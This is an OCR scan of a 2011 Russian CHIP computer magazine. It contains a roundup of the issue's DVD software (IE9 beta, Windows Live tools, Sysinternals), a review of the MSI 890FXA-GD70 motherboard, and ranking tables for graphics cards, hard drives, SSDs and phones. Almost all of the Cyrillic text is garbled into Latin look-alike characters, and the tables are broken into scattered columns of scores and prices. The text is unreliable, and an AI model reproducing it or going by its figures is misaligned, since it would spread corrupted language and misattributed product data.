Preferences | Plug-ins» h aKTHBHpyn- 
Te « Archive Classic Movies». 3 Ta yra- 

jiHTa noAaepxoiBaeT h TejieBH 3 HOH- 
HBie TpaHCJiniiHH, o/nraKO b Hainen 
CTpaHe aaHHan cjiyHKHHH HeaocTynHa. 
HtoObi ckpbitb ee, OTKJiiouHTe KaHajiti 
b HacTpoiiKax TunerFree MCE. 

Ecjih bbi xoTHTe ente dojibine pac- 
nmpHTB (J)yHKu;HOHajiBHOCTB Media 
Center h HcnojiB30BaTB ero jxim cep- 
<J)HHra b Cera, ycTaHOBHTe Kylo (www. 
kylo.tv). 3 tot 6pay3ep noaxoariT h rjw 
npocMOTpa Tejienepeaan. 

flonOUHI/ITeUbHbie B 03 M 0 )KH 0 - 

cti/i: npaKTi/iHHbie nporpaMMbi 

yjlYHtiJEHHblM 5PAV3EP. nponuiH Te 
BpeMeHa, Koraa Internet Explorer ot- 
CTaBaji ot KOHKypeHTOB no BceM noxa- 
3aTejiHM. 3a cueT rpacjiHuecKoro npo- 
iteccopa HOBan deTa-Bepcira IE9 jv ih 
CHCT eM Windows Vista h 7 padoTaeT 
cymecTBeHHO dbiCTpee, a h3hiii;hbih 
BH eniHHH bh a 6pay3epa aocTOHH ot- 
aejiBHoro ynoMHHaHHn. YnpaBjieHne 
IE9 ocymecTBjiHeTCH TpeMn KHonKaMH: 

oaHa jum CTapTOBOH CTpaHHHbi, bto- 
pan — aan «M 3 dpaHHoro», RSS-KaHajiOB 
h «>KypHajia», a TpeTbn — ana HacTpo- 
eK. Il 0 Jie 3 HbIM HOBUieCTBOM BBJIHeTCil 
to, hto Tenepb 6 pay 3 ep npn OTKpbiTHH 
hoboh BKjiaaKH noKa 3 biBaeT He nycTyio 
CTpaHHuy, a o 630 p Han donee uacTO no- 
cenjaeMbix caiiTOB, a Taioxe ccbuiKy 


«InPrivate» aaa aKTHBaitHH pexHMa 
KOH(J)HacHH;HajibHOCTH. B Windows 7 
bbi TaKace MoxeTe pa 3 MecTHTb oTaenb- 
Hbie CTpaHHabi Ha IlaHejiH 3aaau — 
npocTO nepeTantHTe Tyaa hx aapeca. 
MQLUHblPI nQHTQBbIM KJ1MEHT. PaHbme 
Microsoft CHadxana cboh CHCTeMbi 
noHTOBon nporpaMMoir Outlook Express 
hjih Windows Mail. B «ceMepxe» hx 
H eT, ho aaHHbiii npoden BOcnojiHneT 
«IIo t iTa Windows Live» (BxoaHT c coc- 
TaB naxeTa Windows Live 2011). Bnpo- 
ueM, 3 tot KJiHeHT 6yaeT HHTepeceH He 
TOJibKo BjiaaejibaaM nocneaHeii Bepcnn 
OC — Ha Hero ctoht nepenra h nonb- 
30BaTejinM ycTapeBuinx nporpaMM. 
B HeM 6bui ycoBepmeHCTBOBaH BHeni- 
HHH BHa, nOHBHJICil BCTpOeHHblH Ka- 
jieHaapb h cneitHanbHan onann aaa 
ompaBKH (J)OTorpa(J)HH. IIomhmo Hot- 
mail ot Microsoft 3Ta ymjiHTa noa- 
aepacHBaeT Bee yueTHbie 3anncH POP3 
h IMAP. Cpean apyrnx hobbix (JryHK- 
aHH — ynpaBjieHHe KOHTaKTaMH, RSS- 
KaHanbi h npOBepKa optjiorpac^HH, 
KOTOpyiO MOvKHO BKJHOHHTb B nyHKTe 
MeHio «CepBHC | napaMeTpbi». 
y flQbHQE QbmEHME. C noMontbio Win- 
dows Live Messenger (Taicxce ecTb b 
cocTaBe Windows Live 2011) mojkho 
nepenHCbiBaTbcn c apy3BHMH, coBep- 
maTb 3 bohkh uepe3 HHTepHeT h od- 
maTbcn b coitHajibHbix cerax. KpOMe 
toto, 3Ta yTHjiHTa npeaJiaraeT naHenb 
«H36paHHoro» aan yaodHoro ynpaB- 
jieHHn BaxcHbiMH KOHTaKTaMH. Coxpa- 

HHJIHCb H KJiaCCHneCKHe (jiyHKLIHH, 


Tarae KaK odMeH (JiaiijiaMH h bctpo- 
eHHbie Hrpbi. 

3AbOTA 0 fl/ICTEME. Ceroniui cymecTByeT 
orpOMHoe KOJinnecTBO nporpaMM aaa 
onTHMH 3 au;HH OC h ee aHajiH 3 a, oaHa- 
ko hh oaHa H 3 hhx He npeaaaraeT Ta- 
koto KOJinnecTBa bo 3 m o>k h ocTe it , KaK 
Sysintemal Suite (ecTb Ha DVD). B 3 tot 
naKeT BxoaHT npHMepHO 100 ymnHT, 
oxBaTbiBaiOLunx Bee 3 aaauH — ot chc- 
TeMHoro aHajnoa ao tohhoh HacTpon- 
kh. HanpHMep, VMMap no 3 BOJiHeT 
BbMHCJiHTb Bee pecypcoeMKHe npnjio- 
xeHHH, a Autoruns noKaxcer Bee cjiyac- 
6 bi, 3 arpyxcaiOLnHeca bo BpeMH 3 anycKa 
CHCTeMbi. Process Explorer npeacTaB- 
jineT codoii 3 aMeHy ^Hcnemepy 3 aaan 
h OTodpaxaeT HHcfiopMamiK) o Harpy 3 Ke 
Ha neHTpajibHbiH nun h Bcex aKTHBHbix 
npoiteccax. Taioxe HMeeTcn bo 3 mo>k- 
HOCTb nOHCKa KOHKpeTHbIX CJiyxd. 

nocne ycTaHOBKH onncaHHbix npor- 
paMM BaM dojibme He noTpedyeT- 
cn CKanHBaTb npoayKHHio ctopohhhx 
pa 3 padomHKOB. KaK onraMajibHO hc- 
nojib 30 BaTb codcTBeHHbie bo 3 mojkho- 
cth OC ot Microsoft, nHTaiiTe b PDF- 

BepCHH CTaTbH «CKpbITbie B03M03KH0- 

CTH Windows 7 » (CHIP NqI 2011), 
pa3MemeHHoii Ha DVD. am? 


o) CHIP DVD 

Image Composite Editor 

Co3flaHne naHopaM oahmm me/iHKOM MbimM. 

Internet Explorer 9 Beta 

yqo6Hbm i/i 6bicipbm i/i HT e pHeT-cepc|3i/i h r. 

«Live CeMeMHan 6e3onacHOdb» 

3aiAMTa fleien ot BpeflHoro B/innHna IlK. 

Live Mail 

noHTOBbm K/ineHT co BCTpoeHHbiM Ka/ieHflapeM. 

Live Messenger 

ycoBepujeHCTBOBaHHbm MSN Messenger. 

«OoToaiib6oM Windows Live» 

YflodHoe ynpaBaeHMe c|30Torpac|3MnMn m BMfleo. 

MacroTube 

flo6aBJieHne pa3/iMHHbix nopianoB b Media Center. 

Microsoft Security Essentials 

OneHb KOMnaKTHbm m dbicipbm aHTi/iBi/ipyc, 

He TpedyioiAMM HacTpoPi ki/i . 

Paint.NET 

PeflaKTop M3o6pa>KeHMM c paciiJMpeHHbiMM 
(fjyHKpi/lflMI/l. 

SyncToy 

noriHOCTbK) aBTOMaTi/inecKaa CMHxpoHH3apns 
coAep>Kmvioro >KecTKnx auckob. 

Sysinternals Suite 

CoAep>Ki/iT OKono 1 00 ci/icieMHbix ynuii/iT. 

WinFlip 

Co3AaeTTpexMepHoe npeACTaB/ieHMe 
Padonero dona. 
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0630D MaTepMHCKoPi njiaTbi MSI 890FXA-GD70 TECTbl M 0E30Pbl 


S 

MSI 890FXA-GD70 — 

MaiepmHCKafl n/iaia K/iacca 
High-End c OT/iMHHbiM pa3- 
roHHbiM n otb h 141/1 an om 
no npi/ieMJieMOM peHe 


MOMeHT 51 B/15ieTC51 OflHMM M3 nyHWMX 
npefl/io>KeHMM b CBoeM i^eHOBOM 
cemeHTe. BbicoKan HaaewHocTb m 
OT/iMHHbiM pa3roHHbm noTeHUMan 
no3BO/i5iiOT opraHM30Baib Ha ee oc- 
HOBe MOLMHblM M rpOBOM M/1M My/lb- 

TMMeflMMHbiM n K, a 6naroAapn C(3Mp- 
MeHHbm TexHO/iorM5iM pa3roHa m 
6oraTOMy nporpaMMHOMy o6ecnene- 
HMKD Bbl CMO>KeTe 6e3 OCo6blX yCM/IMM 
3HaHMTe/lbHO yBe/lMHMTb npOM3BOflM- 
Te^bHOCTb CMCTeMbl. CpeAH515l P03HMH- 

Ha5i ueHa MSI 890FXA-GD70 cociaB- 
jiaeT 5700 py6/ieM (1590 rpMBeH). 


npotyeccMOHajibHafl 


3aii|MTa 

B/iaroflapa KanecTBeHHbiM Maiepna/iaM 1/1 cpi/ipMeHHbiM 
TexHOJion/iBM n/iaia MSI 890FXA-GD70 3aflaeT HOBbie 
CTaHflapTbi CTadmibHOCTM pa6oTbi 1/1 yfloOcTBa pa3roHa. 


n pocTOTa OBepKJiOKHHra, bbico- 
KaH Ha^evKHOCTB pa 60 TBI H 60 - 
raToe ocHanjeHHe — bot maB- 
HBie 0 C 06 eHH 0 CTH MaTepHH- 

ckoh njiaTBi MSI 890FXA-GD70 Ha 
6a3e HHnceTa 890FX ot AMD c loac- 
HBIM MOCTOM SB 850. 

flodynHbiM High-End 

MaTepHHCKaB njiaTa MSI 890FXA- 
GD70 BLinojiHeHa b (J)opM-(J)aKTOpe 
ATX h noaaepacHBaeT Bee coBpeMeH- 
Htie npoaeccopbi ot AMD c pa3i>eMOM 
Socket AM3. CTaGmibHOCTb h 6e30T- 
Ka3HOCTB pa6oTBi o6ecneHHBaeTCH cep- 
BepHBIMH KOMnOHeHTaMH BBICOKOTO 
KJiacca, Haae>KHOCTb h aojiroBeHHOCTb 
KOTopbix noaTBep>KaeHa cneaHajibHbi- 
MH CepTH(J)HKaTaMH MHHHCTepCTBa 
o6opoHbi CLQA. MSI 890FXA-GD70 
o6opyaoBaHa HeTbipbMn cjiOTaMH ana 
ycTaHOBKH onepaTHBHOH naMHTH CTaH- 
aapTa DDR3 c MaKCHMajibHon nacTO- 


toh 2133 MTu; h naTbio pa3i>eMaMH PCI 
Express xl6 c B03MoacHOCTbio opraHH- 
3au;HH KOH(J)Hrypau;HH CrossFireX H3 
HeCKOJIbKHX BHaeOnjiaT. IOxCHBIH MOCT 
SB850 C HHTerpHpOBaHHbIM KOHTpOJI- 
jiepOM SATA 6 F6ht/c oGecneanBaeT 
pa6oTy rnecTH nopTOB ototo THna c 
noaaepacKoii RAID 0, 1, 5, 10. IIjiaTa 
ocHameHa oahhm pa3i>eMOM SATA 
3 T6 ht/c h 14 nopTaMH USB 2.0 (Ha 


flodynHbiM pa3roH Perynmop «0C Dial» 
no3BO/inei BpyHHyio HacTpai/maTb 3HaHem/ie 
CMCTeMHOM LUMHbl b pea/ibHOM BpeMeHi/i 
c LuaroM, 3a,qaBaeMbiM HanpaiviyK) M3 BIOS 


3aflHeH naHejiH — rnecTb), oahh H 3 
KOTopbix coBMemeH c nopTOM eSATA. 
TaioKe MSI 890FXA-GD70 oGnaaaeT 
pa3i>eMOM IDE, a Ha 3aaHeii naHejiH 
pacnojioxeHbi asa nopTa USB 3.0. 

yfl 06 HblM OBepKJlOKMHr 

OTaejibHo ctoht paccMOTpeTb oco6eH- 
hocth iuiaTBi, o6ecneHHBaK)LixHe yao6- 
ctbo OBepKJiOKHHra. B HacTpOHKax BIOS 
npeaycMOTpeHa cjiyHKLtHa «OC Genie 
Lite», no3BOJi5Homan CHCTeMe caMO- 
CTOHTejibHO onpeaejiHTB MaKCHMajibHyio 
nacTOTy ihhhbi FSB, npH kotopoh bo 3- 
MOxcHa CTa6Hjn>Haa pa6oTa, h aBTOMa- 
THHeCKH npOH3BeCTH pa3TOH. IIpH 3TOM 
LE D - n Ha n KaTop POST-KoaoB Ha iuia- 
Te noMOxeT jiOKajiH30BaTB npo6jieMy 
b cjiyaae Heyaann. OyHKuna «Unlock 
CPU Core» no3BOJiaeT pa36ji0KHp0BaTb 
CKpBiTbie aapa HeKOTOpbix npouecco- 
pOB AMD, a b KOMnjieKT IIO bxo- 
aHT (J)HpMeHHbie ymjiHTBi ana pa3ro- 
Ha, pa6oTaiOLiiHe npaMO H3 Windows. 
BO BpeMH TeCTHpOBaHHH npH HCnOJIb- 
30BaHHH MoayJien naMara Kingston 
KHX1 1000D3LLK2/2G HaM yaajiocb 

yBejiHHHTb nacTOTy niHHbi MaTepuHCKon 
njiaTbi ao 260 MTu;, hto no3BOJiHjio npo- 
aeccopy AMD Phenom II X6 1055T 
CTadHjibHO padoTaTb 6e3 yBenHaeHHa 
MHoacHTejia Ha nacTOTe 3,64 TYn. 

■ ■ ■ BaflMM Hmkutmh 


BbIBOA 


flnaTa MSI 890FXA-GD70 Ha flaHHbm 
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n:n^ TECTbl M 0E30Pbl Top 5: nyHLime npoflyKTbi 


CHIP 

peKOMeH 


CHIP 


TEST-CENTER 

INTERNATIONAL 


TOP 5 

WLAN-poyTepbi: Hefloporow 
D-Link DIR-825 3aHfln 
noneTHoe TpeTbe MecTO 



TecTOBan 
jiafiopaTopua CHIP 

l/l3Mepem/ie ypoBHfl luymhoctm 
HoyTdyKa c noMombio BbicoKO- 
TOHHoro o6opyflOBaHi/m 



flyTeBOflMTejib 

no CPU n GPU 

Intel Core i7-980X XE ABJineTCfl 
caMbiM MomHbiM npopeccopoM 
fl/in HacTO/ibHbix nK Ha 
ceroflHflLUHi/m fleHb (cTp. 96) 


UeHOBON fiapoMeip 

Jlynioan peHa Mecnpa: 
yHMBepcajibHbm namon Acer Aspire 
TimelineX 4820 TG 


l/lcnojib3yMTe Haw aKTya/ibHbm o63op pwcppoBbix 
ycTpoi/iCTB, KOMnbiOTepHbix KOMn/ieKTyiomMx m nepM- 
CpepHM KaK MCTOHHI/IK OeCnpMCTpaCTHbIX COBeTOB M 
peKOMeHflapMM no BbiOopy nHTepecyioipMx Bac MOfle/iew. 


T ecTOBaa jia6opaTopHH CHIP no #- 
BepraeT TmaTejiBHon npOBepKe 
6ojiee 1500 ycTponcTB b rofl. Ha 
ceroflHHiHHHH aeHb b HameM cnncxe 
47 KaTeropnn LtncjipOBoro o6opyao- 
BaHHH, KOMnBIOTepHBIX KOMnjieKTyio - 
mnx n nepn(J>epHH. nojiyneHHBie npn 
TeCTHpOBaHHH flaHHBie MBI o6T>eAH- 
HaeM b cpaBHHTejiBHBie TaOjiniiBi, rne 
npeacTaBjieHBi TexHnnecKne xapaKTe- 
pHCTHKH, pe3yjIBTaTBI npOH3BeaeHHBix 


H 3 MepeHHH H OLteHKH. H 3 ynHB 3 Ty 
HH(jDopMaitmo, bli CMOxeTe caenaTB 
OnTHMaJIBHBIH BBl 6 op. 

DiaBHBiM noKa 3 aTejieM npn paHxcn- 
pOBaHHH ycTponcTB aBjiaeTca o 6 maa 
oiteHKa (b Gajuiax), KOTOpaa bbihhc- 
jiaeTca no cneLtnajiBHon cjiopMyjie: 

■ BBicmnn KJiacc ( 100—90 GajwoB); 

■ bbicokhh KJiacc ( 89—75 GajiJiOB); 

■ cpeaHHH KJiacc ( 74—45 GajuiOB). 
HaaajiBHBin KJiacc ( 44—0 GajuiOB). 


Coflep>KaHMe 


IHARDWARE 

rPAOMHECKME KAPTbl PCI EXPRESS [Q] 91 

MSI N480GTX 

)KECTKME flMCKM SATA 2,5 flIOMMA [Q] 91 

Hitachi Z5K320 (HTS543232A7A384) 

WECTKME flMCKM SATA 3,5 flIOMMA [Q] 91 

Samsung SpinPoint F4EG (HD204UI) 

)KECTKME flMCKM BHELUHME 
flO 2,5 flIOMMA 

Samsung SI Mini (HXSU012BA) 

91 

MECTKME flMCKM BHELUHME Q] 92 

3,5 flIOMMA 

Seagate GoFlex Desk (STAC3000200) USB 2.0 

)KECTKME flMCKM SSD 92 

Corsair Force FI 20 (CSSD-F120GB2-BRKT) 

MO&MilbHblE 

TEJlEcDOHbl/CMAPTOOHbl 

LG GD880 Mini 

Ml 92 

MYJlbTMMEflMMHblE nUEEPbl 

iriver El 50 (8 RjaMT) 

Ml 92 

MOHMTOPbl m 22/23 flIOMMA 

Philips Brilliance 225PL2 

Ml 93 

MOHMTOPbl )KK 24 flIOMMA 

Samsung SyncMaster 2494HM 

93 

HETBYKM 

ASUS Eee PC1015P 

Ml 93 

HOYTBYKM flO 1 3,3 flIOMMA 

Panasonic Toughbook CF-31 

Ml 93 

HOYTByKM 0T 14 fl0 15,6 flIOMMA 

MSI FX600 

QH2] 94 

n/lEEPbl BLU-RAY 

Philips BDP8000 

Ml 94 

nPMHTEPbl CTPYMHblE 
MHOrOOYHKUMOHAJIbHblE (MOY) 

Brother DCP-J315W 

^^94 

TEJlEBM30Pbl >KK 32 flIOMMA 

Samsung UE32C8790 

Ml 94 

CETEBblE XPAHMJIMLflA NAS 

Verbatim MediaShare 47490 

Ml 95 

OOTOKAMEPbl flMOPOBblE 
MErA3YMHblE 

Panasonic Lumix DMC-FZ100 

|Q] 95 

OOTOKAMEPbl flMOPOBblE 
3EPKAJlbHblE 

Sony Alpha 55 

Ml 95 

WLAN-POYTEPbl 

TP-Link TD-W8960N 

Ml 95 


90 


CHIP I OEBPAJlb 2011 


l/ILJ3Il/lffOa£l/IOdU-l/ll/IHVUl/\IOX :0I0CD 






■n 


Elite 6ojibuie TecTOB - 
Ha CHIP online 


rpacjMieciuie Kapibi PCI Express 


7 MeCTO 
MSI N480GTX 



i 

III 


ii iltlllj, [i i 


iff 

II 


is 




1 

Sapphire Radeon HD 5970 Toxic 

80,4 

43 000/— 

yAOBJi. 

100 

■ 

8 

74 

15918 

2, 2/7, 9 

Radeon HD 5970 

900/4800 

2x 2048 

-/• 

2 /- 

10.10 

2 

ASUS Ares 

74,1 

42 000/10 400 

yflOBJi. 

99 

16 

7 

70 

15 555 

5,6/19,7 

Radeon HD 5970 

850/4800 

2x 2048 

•/- 

V 

10.10 

3 

HIS Radeon HD 5970 

71,3 

21 000/— 

xopomee 

85 

49 

10 

80 

13 482 

2, 1/7, 8 

Radeon HD 5970 

725/4000 

2x1024 

-/• 

2/- 

10.10 

4 

Sapphire Radeon HD 5970 0C Edition 

70,9 

20 000/— 

OTJIMHHOe 

85 

45 

9 

80 

13 583 

2, 6/9, 9 

Radeon HD 5970 

735/4040 

2x1024 

-/• 

2/- 

3.10 


7 

MSI N480GTX 

60,5 

15 600/4000 

OTJIMHHOe 

73 

37 

8 

66 

9703 

2,6/17,8 GeForce GTX480 

700/3696 

1536 

-/• 

21- 

1.11 


— 0UEHKI/I/I/I3MEPEHMS1 — 


— TEXHI/IHECKI/IE XAPAKTEPI/ICTMKI/I— 


MSI N480GTXTonoBafl BMfleoKapia c 1536 NI6aMT BMfleonaMATM, noflflep>KKOM DirectX 11, otjimhhom npoM3BOflMTejibHOCTbio m acjjcjjeKTMBHOM 
CMdeMOM oxjiawfleHMfl. 1/13 HeflOCTaTKOB flaHHoro pemeHMa mojkho Ha3BaTb 3HaHMTejibHbm ypoBeHb myMa nofl Harpy3KOM npn TeMnepaiypax 
GPU CBbiiue 90 °C n flOcraTOHHO BbicoKyio cronMOCTb. 

06man oueHKa, 6ajuiOB: 60,5 (7 Mecro) 

CpeflHaa po3HM4Han ueHa, py6./rpH.: 15 600/4000 


)KecTKHe flHCKH SATA 2,5 fliOMMa 


7 MeCTO 

Hitachi Z5K320 
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0 5 X TO 

1 S i | 

LU X h- S 

X 

s 

X 

i 

a. 

el . E 
»!! £ 
§■ 1 ^ £ 
0 to" 'o El 


1 

Seagate XT (ST95005620AS) 

87,4 

4300/1200 

8, 6/2, 4 

yAOBJi. 

58 100 

100 

100 

2 0,9 

84,1 5,3 

500/465,8 SATA 300 

7200 11.10 


2 

WD Scorpio Blue (WD7500BPVT) 

83,6 

3400/1050 

4,5/1 ,4 

OTJIMHHOe 

100 100 

87 

28 

1,3 0,4 

73,4 19,1 

750/698,6 SATA 300 

5400 8.10 






G0i> 

5 

Hitachi Z5K320 (HTS543225A7A384) 

78,7 

1300/— 

5,2/— 

xopomee 

84 100 

78 

39 

1,5 0,6 

65,1 13,7 

250/232,9 SATA 300 

5400 1.11 

GU> 

7 

Hitachi Z5K320 (HTS543232A7A384) 

78 

1400/— 

4,3/— 

OTJIMHHOe 

86 100 

73 

35 

1,5 0,6 

61,7 15 

320/298,1 SATA 300 

5400 1.11 

1 ' 1 

8 

Toshiba MK7559GSXP 

78 

3200/— 

4,2/— 

OTJIMHHOe 

81 98 

91 

30 

1,5 1 

76,8 17,9 

750/698,6 SATA 300 

5400 1.11 


— 0I4EHKI/I/I/I3MEPEHI/I?! — 


Hitachi Z5K320 (HTS543232A7A384) Hn3Kne 3Heproncnpe6jieHMe m ypoBeHb myMa npn pa6oie. He cjihlukom 6ojibmafl ueHa h flOBOJibHO 
BbicoKaa CKopodb nepeflaHM flaHHbix. I/I 3 HeflOCTaTKOB mo>kho OTMeimb pa3Be hto fljiMTejibHoe BpeNia flocryna. 

06man oueHKa, 6a/i/iOB: 78 (7 Mecio) 

CpeflHaa po3HM4Haa ueHa, py6./rpH.: 1400/— 


)KecTKwe ahckm SATA 3,5 nroMMa 


12 MeCTO 
Samsung 
Spin Point F4EG 
(HD204UI) 
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1 WD VelociRaptor (WD6000HLHX) 

81,4 

8500/2600 14,1/4,3 

njioxoe 

100 

48 99 


121 ,4 

2,1 5,6 5 

600/558,9 

SATA 600 

10 000 9.10 


2 Seagate XT (ST32000641 AS) 

80,8 

5600/1600 2, 8/0, 8 

flocr. xopomee 

90 

100 41 

48 

108,8 

1 13,3 7,3 

2000/1863 

SATA 600 

7200 2.10 


3 Samsung SpinPoint F4 (HD322GJ) 

80,7 

1400/350 4, 3/1,1 

njioxoe 

97 

82 50 

89 

117,9 

1,2 11 4 

320/298,1 

SATA 300 

7200 12.10 


4 WD VelociRaptor (WD1 500HLFS) 

79 

4500/1300 30/8,7 

njioxoe 

81 

61 100 

77 

98,6 

1,6 5,5 4,6 

150/139,7 

SATA 300 

10 000 7.10 







Mk 

1 2 Samsung SpinPoint F4EG (HD204UI) 

72,2 

3400/920 1,7/0, 5 

OTJIMHHOe 

87 

77 37 

86 

105,2 

1,2 15 4,1 

2000/1863 SATA 300 

5400 1.11 


— 0I4EHKI/I/I/I3MEPEHI/Ifl— 


Samsung SpinPoint F4EG (HD204UI) flaHHbm >KecTKMM amck npw fleMOKpaTMHHOM ueHe fleMO h op MpyeT xopomee 6bicTpofleMCTBMe, CKpoMHbie 
noKa3aie;iM 3HepronoTpe6jieHMa m ypoBHa myMa npi/i pa6oie 6jiaroflapa noHMJKeHHOM CKopocTM BpaifleHMa mnMHflejia. HeflOcraTOK — fljiMTejibHoe 
BpeNm flociyna, M3-3a KOToporo flaHHaa MOflejib He CMoma noflHflTbca Bbiiue 12 Mecra b HaiueM peMTMHre. 

06man oueHKa, 6annoB: 72,2 (12 Mecro) 

CpeflHflfi po3HMHHaa ueHa, py6./rpH.: 3400/920 


)KecTKMe flHCKH BHeuiHHe no 2,5 nronivia 
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1 

Samsung SI Mini (HXSU012BA) 

82,5 

3000/1000 

25/8,3 

njioxoe 

99 

39 

50 

23,6 

0,3 

1,5 

•/-/- 

120 

85 

87x62x15 

2.09 

2 

Verbatim Portable Hard Drive 

77 

3300/650 

6,6/1 ,3 

xopomee 

75 

98 

83 

66,7 

0,5 

2,8 

•/-/• 

500 

205 

130x80x17 

8.10 

3 

Toshiba Store Steel (PA4218E-1HB5) 

77 

4200/— 

16,8/— 

njioxoe 

100 

48 

33 

28,2 

0,6 

1,7 

•/-/- 

250 

120 

91x60x10 

9.10 

4 

Transcend StoreJet 25D3 (TS500GSJ25D3) 

75,5 

2600/700 

5,2/1 ,4 

OTJIMHHOe 

76 

100 

42 

68,6 

0,5 

2,5 

•/-/- 

500 

191 

130x82x17 

8.10 

5 

Plextor PX-PH320US 

74,5 

2500/— 

7,8/— 

OTJIMHHOe 

75 

80 

88 

53,8 

0,6 

GO 

00 

•/-/• 

320 

220 

130x80x15 

8.08 


1 MeCTO 

Samsung SI Mini 
(HXSU012BA) 



-0UEHKM/M3MEPEHMH- 




Samsung SI Mini (HXSU012BA) OcHOBHoe npeMMymecTBO — npoTMBoyflapHbm m ycroMHMBbm k flapanMHaM Kopnyc. TaK>Ke 3acny>KMBaiOT ynoMM- 
HaHMji npaKTMHecKM 6ecmyMHafl pa6oia u HM3«oe 3HepronoTpe6jieHMe. HeflocraTKM: HeBbicoKaa CKopodb nepeflaHM flaHHbix, HajiMHMe TOJibKO 
pa3ijeMa USB, 3HaHMTejibHaji CTOMMOCTb. 

06man ouemra, 6annoB: 82,5 (1 Mecio) 

CpeflHjm po3HMHHan ueHa, py6./rpH.: 3000/1000 


BbiciuMM KJiacc (100-90) ■Bncokhm KJiacc (89-75) ■CpeflHMti K/iacc (74—45) BHaHajibHbm K/iacc (44-0) Bee oqeHKM b 6a/uiax (MaKcmviyM — 100) #fla — HeT 
npeflCTaBJieHbi noSeflMTejiM m hobmhkm, yKa3aH0 Mecio b o6meM peMTMHre npoTecTupoBaHHbix ycTpowcTB 
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n:n^ TECTbl M 0E30Pbl Top 5: nyHLime npoflyKTbi 


}KeCTKMe fll/ICKM BH6I11HH6 3,5 flHMMa 


23 MecTO 

Seagate Go Flex Desk 
(STAC3000200) 

USB 2.0 



i I i' 

i HI it 

a ad co vo ?? vo 


ii MU, ill 

o I O o X O S-v2 > CD CD 

O fU 0.0 -O' CD ^ cu f 


J 

CO o s 


1 

Seagate GoFlex Desk (STAC3000200) USB 3.0 

81,1 

7000/2300 

2, 3/0, 8 

OTJIMHHOe 

96 

98 

44 

102,2 

0,7 

2,7/12,3 

-/• 

- 

3000 

124x44x158 

1.10 

2 

Buffalo DriveStation USB 3.0 

80 

4300/— 

4,3/— 

yAOBJi. 

100 

89 

63 

112,6 

0,7 

6,5/10 

•/• 

- 

1000 

156x45x175 

3.10 

3 

Buffalo DriveStation Combo 4 

77,1 

5500/— 

5,5/— 

nnoxoe 

76 

100 

81 

84 

0,8 

11,3/13,7 

•/- 

• 

1000 

228x38x128 

12.09 

4 

WD My Book 3.0 (WDBABP0010HCH) 

75,2 

4000/1100 

4/1,1 

yAOBJi. 

86 

81 

75 

91 

1,2 

8/9,5 

•/• 

- 

1000 

135x48x165 

5.10 


23 

Seagate GoFlex Desk (STAC3000200) USB 2.0 

63,6 

6500/2000 

2, 2/0, 7 

xopoLiiee 

36 

98 

31 

30,5 

0,7 

1,4/10,4 

•/- 

- 

3000 

124x44x158 

1.11 


— OI4EHKI/1/I/I3MEPEHI/I51 — 


Seagate GoFlex Desk (STAC3000200) USB 2.0 Bonbman eMKoerb, oneHb HM3KneypoBeHb wyMa npn pa6oie m 3HepronoTpe6neHne. flocionHCTBa: 
HeBbicoKan ueHa 3a rnra6aMT, 6oraioe flO, B03M0>KH0CTb ocHacmTb ycrpoucTBO flononHMTenbHbiNw pasteNiaMH FireWire 800 m USB 3.0 6naroflapn 
Ha/iMMMio CMeHHbix MOflyneM. HeflociaTOK — CKpoMHan CKopocTb nepeflann flaHHbix. 

06man oueHKa, 6aji/iOB: 63,6 (23 Mecro) 

CpeflHflji po3HnqHaji ueHa, py6./rpH.: 6500/2000 


}KecTKMe flMCKM SSD 



3 MeCTO 

Corsair Force F120 

(CSSD-F120 

GB2-BRKT) 
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53 

CL 

CD 

O CO 

Ql vo 


2 ■& 
LU CD 

e 

X 

S 

£ 

ct 

i 

Kingston SSDNow E Series (SNE125-S2) 

90,3 

15 000/3300 

468,7/103 

nnoxoe 

84 

100 

100 

52 

225 

0,05 

54488 

1,2 

32/29,8 

2,5 

SATA 300 

SLC 

4.09 

2 

Intel X25-E (SSDSA2SH032G1 01) 

90,3 

13 000/3700 

406,2/115 

nnoxoe 

84 

100 

100 

52 

225 

0,05 

54488 

1,2 

32/29,8 

2,5 

SATA 300 

SLC 

4.09 

3 

Corsair Force FI 20 (CSSD-F1 20GB2-BRKT) 

77,4 

11 000/3000 

91,6/25 

OTnuHHoe 

97 

59 

81 

63 

261 

0,1 

43 961 

1 

120/111,8 

2,5 

SATA 300 

MLC 

9.10 

4 

OCZ Vertex 2 (0CZSSD2-2VTX1 00G) 

75,6 

9000/2800 

90/28 

OTnuHHoe 

95 

52 

79 

81 

255 

0,2 

43132 

0,8 

100/93,2 

2,5 

SATA 300 

MLC 

8.10 

5 

0CZ Vertex Turbo (OCZSSD2-1VTXT120G) 

68,3 

15 900/— 

132,5/— 

Aoct. xopomee 

83 

52 

70 

70 

221 

0,2 

38171 

0,9 

120/119,2 

2,5 

SATA 300 

MLC 

1.10 


M 0UEHKI/l/l/l3MEPEHI/m TEX. XAP-KI/I- 


Corsair Force F120 (CSSD-F120GB2-BRKT) flaHHbm SSD-HaKonme^b eMKOCTbio 120 r6awT, nocrpoem-ibm Ha 6a3e cf)nem-naNmTH MLC, ripn 
OTHOCMTe^bHO HeBbICOKOM CTOHMOCTH fleMOHCTpMpyeT OTJlHHHyiO CKOpOCTb nepeflaHH flaHHbix. flOCTOHHCTBa — HH3KHe 3HeprOnOTpe6^eHMe 
m pa6oHan TeMnepaiypa npi/i NiaKCMNianbHcm Harpy3Ke. 

06man oueHKa, 6annos: 77,4 (3 Mecio) 

CpeflHfla po3HHHHaH ueHa, py6./rpH.: 11 000/3000 


MofiHfibHbie TenecpoHbi/civiapTtpoHbi 
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1 

Samsung S8500 Wave 

94,3 

13 300/3800 

xopomee 

98 

93 

93 

93 

118 

Quadband, GPRS 

480x800 

• 

► 4,9 8.10 

IH> 

2 

Nokia N8 

93,3 

19 600/5800 

yAOBn. 

100 

100 

73 

100 

134 

Quadband, GPRS 

360x640 

• 

• 12 1.11 


3 

Nokia X6 

91,2 

12 000/3200 

xopomee 

99 

97 

77 

91 

123 

Quadband, GPRS, HSCSD 

360x640 

• 

• 5 4.10 


4 

Nokia 5800 XpressMusic 

90,5 

10 600/2350 

OTnuHHoe 

93 

99 

78 

91 

114 

Quadband, GPRS, HSCSD 

640x360 

• 

• 3,1 4.09 







cs> 

9 

LG GD880 Mini 

88,8 

10 500/3000 

OTnuHHoe 

84 

94 

88 

90 

103 

Quadband, GPRS 

480x854 

• 

• 4.9 12.10 


-0I4EHKI/I/I/I3MEPEHI/IE1— — TEXHI/IHECKI/IE XAPAKTEPI/ICTI/IKI/I ► 


